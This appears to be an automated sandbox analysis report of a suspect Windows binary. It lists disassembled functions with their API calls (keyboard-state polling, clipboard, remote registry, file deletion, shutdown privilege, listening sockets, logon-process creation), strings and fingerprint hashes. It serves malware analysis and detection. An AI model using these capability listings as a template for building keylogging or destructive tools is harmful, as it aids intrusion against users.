Part of subcall function 0062829F: HeapAlloc.KERNEL32(00000000,?,00627CF8,?), ref: 006282B2
Part of subcall function 0062829F: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00627CF8,?), ref: 006282C3

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00627D13
_memset.LIBCMT ref: 00627D28
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00627D47
GetLengthSid.ADVAPI32(?), ref: 00627D58
GetAce.ADVAPI32(?,00000000,?), ref: 00627D95
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00627DB1
GetLengthSid.ADVAPI32(?), ref: 00627DCE
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00627DDD
HeapAlloc.KERNEL32(00000000), ref: 00627DE4
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00627E05
CopySid.ADVAPI32(00000000), ref: 00627E0C
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00627E3D
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00627E63
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00627E77

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 319faa76c0087831a290804567caef1f1138a40e436ec1bffcac03200570e3cf
Instruction ID: bce5212c9142952ecfb1e24959bf3faf8cf4c41268c07f778865ecd116956ee1
Opcode Fuzzy Hash: 319faa76c0087831a290804567caef1f1138a40e436ec1bffcac03200570e3cf
Instruction Fuzzy Hash: 90614B7190461AAFDF00DFA4EC44EEEBB7AFF04301F048169E955A72A1DB319A15CF60

Function 0063001C Relevance: 18.2, APIs: 12, Instructions: 186keyboardCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?), ref: 00630097
SetKeyboardState.USER32(?), ref: 00630102
GetAsyncKeyState.USER32(000000A0), ref: 00630122
GetKeyState.USER32(000000A0), ref: 00630139
GetAsyncKeyState.USER32(000000A1), ref: 00630168
GetKeyState.USER32(000000A1), ref: 00630179
GetAsyncKeyState.USER32(00000011), ref: 006301A5
GetKeyState.USER32(00000011), ref: 006301B3
GetAsyncKeyState.USER32(00000012), ref: 006301DC
GetKeyState.USER32(00000012), ref: 006301EA
GetAsyncKeyState.USER32(0000005B), ref: 00630213
GetKeyState.USER32(0000005B), ref: 00630221

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: State$Async$Keyboard
String ID:
API String ID: 541375521-0
Opcode ID: 6b2b337571b1f9cfeab7aaf8e2445baae28a0592bbf15929bdf7b071280bd7fa
Instruction ID: 0cc34bc4fe7ac6a2e2d9dfa416cdaf125c869e4e5c677e8c55cc53f89fd4f89d
Opcode Fuzzy Hash: 6b2b337571b1f9cfeab7aaf8e2445baae28a0592bbf15929bdf7b071280bd7fa
Instruction Fuzzy Hash: 5151DC3090478829FB35DBA488647EABFB69F11380F08459DD9C1576C2DA649B8CC7E5

Function 006503DA Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00650E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0064FDAD,?,?), ref: 00650E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006504AC

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0065054B
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 006505E3
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00650822
RegCloseKey.ADVAPI32(00000000), ref: 0065082F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: 87a260ad56e81ccc1b0cfb59774e3e171a067999f888ad159888691d401cfb0e
Instruction ID: 1ea657ad60b66c463d1d848cc0f5b694ab1c735e7e9f0524ae2106c19b570f27
Opcode Fuzzy Hash: 87a260ad56e81ccc1b0cfb59774e3e171a067999f888ad159888691d401cfb0e
Instruction Fuzzy Hash: 94E16B31604205AFDB14DF28C895E6ABBE5FF89714F04896DF84ADB3A1DB30E905CB91

Function 006483BB Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 005D9837: __itow.LIBCMT ref: 005D9862
Part of subcall function 005D9837: __swprintf.LIBCMT ref: 005D98AC

CoInitialize.OLE32 ref: 00648403
CoUninitialize.OLE32 ref: 0064840E
CoCreateInstance.OLE32(?,00000000,00000017,00662BEC,?), ref: 0064846E
IIDFromString.OLE32(?,?), ref: 006484E1
VariantInit.OLEAUT32(?), ref: 0064857B
VariantClear.OLEAUT32(?), ref: 006485DC

Strings

Invalid parameter, xrefs: 006484FA
NULL Pointer assignment, xrefs: 006484B3
Failed to create object, xrefs: 00648479, 0064852F

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: 6ac213cfeeaf8255c442267b7fb2beef33a2fecc7bd6e5f05b87c6d416a3d2cc
Instruction ID: d129021219fdd8722bf206f173033bb53280b8eabdb25a31796c6301de06bca8
Opcode Fuzzy Hash: 6ac213cfeeaf8255c442267b7fb2beef33a2fecc7bd6e5f05b87c6d416a3d2cc
Instruction Fuzzy Hash: BD618B706083129FC754EF14C848FAEBBEAAF89754F04451AF9859B291CB70ED45CB92

Function 00644164 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0064418B
EmptyClipboard.USER32 ref: 00644191
GlobalAlloc.KERNEL32(00000002,?), ref: 006441A6
CloseClipboard.USER32 ref: 00644245

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 5e0839da83313f2bd2d7dd58a7d3891cb4fff47bebfff8ca303139c357a00b62
Instruction ID: 8a2dca5b4f02855f9e6d73d56ecbdc61cb6338c58bad96cc54f17994ea0fc0df
Opcode Fuzzy Hash: 5e0839da83313f2bd2d7dd58a7d3891cb4fff47bebfff8ca303139c357a00b62
Instruction Fuzzy Hash: 372181752016119FDB11AF64EC0AB7E7BAAFF44751F10802AF946DB3A1DB70AD01CB94

Function 006337EF Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 167fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005D4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005D4743,?,?,005D37AE,?), ref: 005D4770

Part of subcall function 00634A31: GetFileAttributesW.KERNEL32(?,0063370B), ref: 00634A32

FindFirstFileW.KERNEL32(?,?), ref: 006338A3
DeleteFileW.KERNEL32(?,?,00000000,?,?,?,?), ref: 0063394B
MoveFileW.KERNEL32(?,?), ref: 0063395E
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 0063397B
FindNextFileW.KERNEL32(00000000,00000010), ref: 0063399D
FindClose.KERNEL32(00000000,?,?,?,?), ref: 006339B9

Strings

\*.*, xrefs: 0063384E, 00633857, 0063386C

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: File$Find$Delete$AttributesCloseFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 4002782344-1173974218
Opcode ID: f5a48b6958df4044616fffb0f3b09d66ba1ce608d9b5eeec53dbef3ffe825395
Instruction ID: ad3216667b181d0bcc02d8ae8ec14e0f655abae6a47d59d986ee634aefe5eaa7
Opcode Fuzzy Hash: f5a48b6958df4044616fffb0f3b09d66ba1ce608d9b5eeec53dbef3ffe825395
Instruction Fuzzy Hash: E551913180515D9ACF11EBA8C9969EDBB7AAF54301F6001AAF40277391FF316F09CBA0

Function 0063F3F3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005D7DE1: _memmove.LIBCMT ref: 005D7E22

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 0063F440
Sleep.KERNEL32(0000000A), ref: 0063F470
_wcscmp.LIBCMT ref: 0063F484
_wcscmp.LIBCMT ref: 0063F49F
FindNextFileW.KERNEL32(?,?), ref: 0063F53D
FindClose.KERNEL32(00000000), ref: 0063F553

Strings

*.*, xrefs: 0063F425

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstNextSleep_memmove
String ID: *.*
API String ID: 713712311-438819550
Opcode ID: d6dec3f67921deb9c440b67308785d204327ff024a8912330ebce1f978364858
Instruction ID: ae98870cf4d8a8166b0e2c99ed7ab7ca3136bcccb761e9170d75e8da891d78f0
Opcode Fuzzy Hash: d6dec3f67921deb9c440b67308785d204327ff024a8912330ebce1f978364858
Instruction Fuzzy Hash: AF416C71D0021A9FCF10EF68CC59AEEBBB5FF54320F144466E815A32A1EB309E85CB90

Function 005E3030 Relevance: 11.1, APIs: 4, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

3c^, xrefs: 005E3225
_^, xrefs: 005E3322

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: __itow__swprintf
String ID: 3c^$_^
API String ID: 674341424-3555050690
Opcode ID: 822f2bfb16a9cfd659078f21cf62597a2d20b77c7e87592f586c0d5184107492
Instruction ID: 0d1b78f2a19bf10d57b8d6c97b3fb3d6c03c2564613650ed04b24baa679269b5
Opcode Fuzzy Hash: 822f2bfb16a9cfd659078f21cf62597a2d20b77c7e87592f586c0d5184107492
Instruction Fuzzy Hash: 36229C756083419FC728DF19C889BAEBBE5BF84710F04491EF59A97391EB30E944CB92

Function 005E5760 Relevance: 11.0, APIs: 7, Instructions: 532COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 005E58A5
_memmove.LIBCMT ref: 005E58F5
_memmove.LIBCMT ref: 005E595B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: ea7fab5be8a92a250b1bcbeba583dd9a117d28ff9c71b0cc36e0311024252723
Instruction ID: ce4ca6c5a4e666724be4ee6a700f58099a2bf624213bf46f145cb05a27185f34
Opcode Fuzzy Hash: ea7fab5be8a92a250b1bcbeba583dd9a117d28ff9c71b0cc36e0311024252723
Instruction Fuzzy Hash: 1712BE70A00A1ADFDF14DFA5D985AEEBBF6FF88304F10452AE446E7251EB35A910CB50

Function 00633B12 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005D4750: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005D4743,?,?,005D37AE,?), ref: 005D4770

Part of subcall function 00634A31: GetFileAttributesW.KERNEL32(?,0063370B), ref: 00634A32

FindFirstFileW.KERNEL32(?,?), ref: 00633B89
DeleteFileW.KERNEL32(?,?,?,?), ref: 00633BD9
FindNextFileW.KERNEL32(00000000,00000010), ref: 00633BEA
FindClose.KERNEL32(00000000), ref: 00633C01
FindClose.KERNEL32(00000000), ref: 00633C0A

Strings

\*.*, xrefs: 00633B5B

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 62c912a91db24bbb7a96e3776aaec54760c4ac206d2d434a8c37eb669ac91db5
Instruction ID: d931c914c47ff5e5c96263b43e717f68d2700746203fc5170fbd10f6d9fcb5b7
Opcode Fuzzy Hash: 62c912a91db24bbb7a96e3776aaec54760c4ac206d2d434a8c37eb669ac91db5
Instruction Fuzzy Hash: 423181710083869BC310EF68D8958AFBBA9BE95300F400D1FF4D592391EB21DA09C796

Function 006351BD Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 006287E1: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0062882B
Part of subcall function 006287E1: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00628858
Part of subcall function 006287E1: GetLastError.KERNEL32 ref: 00628865

ExitWindowsEx.USER32(?,00000000), ref: 006351F9

Strings

@, xrefs: 006351EC
SeShutdownPrivilege, xrefs: 006351C9
, xrefs: 006351E7

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 825c6b2d56398017d007f30c1593236a5ba54be2071015a160c29c0be55d893d
Instruction ID: 1068e30fb7bb4e5ca8ea6f017b7b71dfbf68464ed537f43b03ad0c40d2b719ae
Opcode Fuzzy Hash: 825c6b2d56398017d007f30c1593236a5ba54be2071015a160c29c0be55d893d
Instruction Fuzzy Hash: 380126317A1A116FF7686368AC9AFFB726AEB04341F240425F903E32D2DA515E0186E4

Function 00646283 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 006462DC
WSAGetLastError.WSOCK32(00000000), ref: 006462EB
bind.WSOCK32(00000000,?,00000010), ref: 00646307
listen.WSOCK32(00000000,00000005), ref: 00646316
WSAGetLastError.WSOCK32(00000000), ref: 00646330
closesocket.WSOCK32(00000000,00000000), ref: 00646344

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: b877e09f31f42e36a566512ff861491775172e1c111b43bbcf299bc8ce5deaae
Instruction ID: ee0e3af55d8ecb1b151dd62d54098bb54df9cda78e66467c868721aa6b255d27
Opcode Fuzzy Hash: b877e09f31f42e36a566512ff861491775172e1c111b43bbcf299bc8ce5deaae
Instruction Fuzzy Hash: AB21B1316002059FCB10EF68D849B6EBBBAEF89721F14415AF816E73D1CB70AD01CB51

Function 006285B0 Relevance: 9.1, APIs: 6, Instructions: 61processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 006285E2
OpenProcessToken.ADVAPI32(00000000), ref: 006285E9
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 006285F8
CloseHandle.KERNEL32(00000004), ref: 00628603
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00628632
DestroyEnvironmentBlock.USERENV(00000000), ref: 00628646

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: 5d55d1f0bb603ef8348dddf1fd5553901af7bdba05aad3c19338ff84820a2549
Instruction ID: b36ac97c850fed5085120b5cc2f95a926b62b322f4201239fb3c1b3e4b122d70
Opcode Fuzzy Hash: 5d55d1f0bb603ef8348dddf1fd5553901af7bdba05aad3c19338ff84820a2549
Instruction Fuzzy Hash: 8C115B72501249AFDF01CFA4ED48EEE7BAAFF48305F044069FE05A2260C7728D61EB60

Function 005E5520 Relevance: 8.0, APIs: 5, Instructions: 516COMMON

Download Yara Rule

APIs

Part of subcall function 005F0DB6: std::exception::exception.LIBCMT ref: 005F0DEC
Part of subcall function 005F0DB6: __CxxThrowException@8.LIBCMT ref: 005F0E01

_memmove.LIBCMT ref: 00620258
_memmove.LIBCMT ref: 0062036D
_memmove.LIBCMT ref: 00620414

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: _memmove$Exception@8Throwstd::exception::exception
String ID:
API String ID: 1300846289-0
Opcode ID: 566a6a3105fbc5738593dca422546e95ecfbaae974fb122403b400d67a496376
Instruction ID: 52ae5210dacecad7d36fdf1a15dea1d8d52badc15c39c0d93f509de4fb4a1dfc
Opcode Fuzzy Hash: 566a6a3105fbc5738593dca422546e95ecfbaae974fb122403b400d67a496376
Instruction Fuzzy Hash: 2602C270A0061ADBDF04DF64D985ABE7BB6FF84300F14806AE946DB392EB34D950CB51

Function 005D1287 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 005D2612: GetWindowLongW.USER32(?,000000EB), ref: 005D2623

DefDlgProcW.USER32(?,?,?,?,?), ref: 005D19FA
GetSysColor.USER32(0000000F), ref: 005D1A4E
SetBkColor.GDI32(?,00000000), ref: 005D1A61

Part of subcall function 005D1290: DefDlgProcW.USER32(?,00000020,?), ref: 005D12D8

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: bd05e492a313c4d8e7d2a45cca36aa70db80be0f15676ff595e28218d09768fd
Instruction ID: 21369febfc9b0ff54568b8b35dbfa2ba514c0e5876c0a41b5603cadd2a2f8cbe
Opcode Fuzzy Hash: bd05e492a313c4d8e7d2a45cca36aa70db80be0f15676ff595e28218d09768fd
Instruction Fuzzy Hash: 69A10360106D54BEEB38AB3D8C58DBB2E5EFB42342F14551BF502D63D6CA209D4193BE

Function 00646747 Relevance: 7.6, APIs: 5, Instructions: 141networkCOMMON

Download Yara Rule

APIs

Part of subcall function 00647D8B: inet_addr.WSOCK32(00000000,?,00000000,?,?,?,00000000), ref: 00647DB6

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0064679E
WSAGetLastError.WSOCK32(00000000), ref: 006467C7
bind.WSOCK32(00000000,?,00000010), ref: 00646800
WSAGetLastError.WSOCK32(00000000), ref: 0064680D
closesocket.WSOCK32(00000000,00000000), ref: 00646821

Memory Dump Source

Source File: 00000001.00000002.1292227942.00000000005D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005D0000, based on PE: true

Associated: 00000001.00000002.1292202061.00000000005D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.000000000065F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292371936.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292557413.000000000068E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1292588289.0000000000697000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_5d0000_h8izmpp1ZM.jbxd

Similarity

API ID: ErrorLast$bindclosesocketinet_addrsocket
String ID:
API String ID: 99427753-0
Opcode ID: 97c046114a6e9bf00c17a204e095091e3006e2ee65c47702a441d220992c5b7f
Instruction ID: 1ba9d399adc4fdc0f27da791289d49f7542f06a80ebe7ed6c61e77bdcf89c721
Opcode Fuzzy Hash: 97c046114a6e9bf00c17a204e095091e3006e2ee65c47702a441d220992c5b7f
Instruction Fuzzy Hash: 2541E975A00211AFDB60BF68DC8AF7E7BA9EF45714F04845EF915AB3C2CA709D008791

